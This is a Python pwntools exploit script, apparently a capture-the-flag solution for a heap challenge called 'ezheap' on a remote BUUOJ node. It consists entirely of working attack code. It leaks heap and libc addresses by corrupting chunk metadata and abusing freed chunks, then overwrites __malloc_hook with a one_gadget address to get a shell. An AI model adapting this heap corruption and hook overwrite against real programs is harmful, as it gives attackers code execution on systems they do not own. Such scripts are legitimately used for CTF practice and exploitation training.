1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') p=process('./ezheap') p=remote('node4.buuoj.cn',29321) elf=ELF('./ezheap') libc=ELF('./libc.so.6')
sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) s = lambda a:p.send(a) sl = lambda a:p.sendline(a) ru = lambda s:p.recvuntil(s) rc = lambda s:p.recv(s) uu64=lambda data :u64(data.ljust(8,b'\x00')) get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00')) plo = lambda o:p64(libc_base+o)
def add(index,size,context): sla('>>\n',b'1') sla('enter idx(0~15): \n',str(index)) sla('enter size: \n',str(size)) sla('write the note: ',context)
def show(index): sla('>>\n',b'3') sla('enter idx(0~15): \n',str(index))
def edit(index,context): sla('>>\n',b'4') sla('enter idx(0~15): \n',str(index)) sa('enter content: \n',context)
def free(index): sla('>>\n',b'2') sla('enter idx(0~15): \n',str(index))
for i in range(1,5): add(i,0x80,b'aaa')
for i in range(1,4): free(i)
add(5,0x20,b'') show(5) heap=u64(ru('\n')[:-1].ljust(8,b'\x00')) heap_base=heap-0x2a0 success('heap_base:'+hex(heap_base))
for i in range(7,15): add(i,0x50,b'/bin/sh\x00')
edit(5,p64(0x80)+p64(0)*2+p64(heap_base+0x2a0-0x8)) edit(2,p64(0x91)) for i in range(7): edit(5,p64(0x80)+p64(0)*2+p64(heap_base+0x600+0x90*i-0x8)) edit(2,p64(0x91)) free(14) for i in range(7,14): free(i)
edit(5,p64(0x80)+p64(0)*2+p64(heap_base+0x8c0+0x10)) show(2) main_arena=get_libc()-96 libc_base=main_arena-0x1ecb80 success("libc_base:"+hex(libc_base)) malloc_hook=libc_base+libc.symbols['__malloc_hook'] libc_realloc=libc_base+libc.symbols['__libc_realloc'] realloc_hook=libc_base+libc.symbols['__realloc_hook'] one=[0xe3afe,0xe3b01,0xe3b04] one_gadget=libc_base+one[1]
edit(5,p64(0x80)+p64(0)*2+p64(malloc_hook)) edit(2,p64(one_gadget))
sl(b'1') sl(b'0')
p.interactive()
|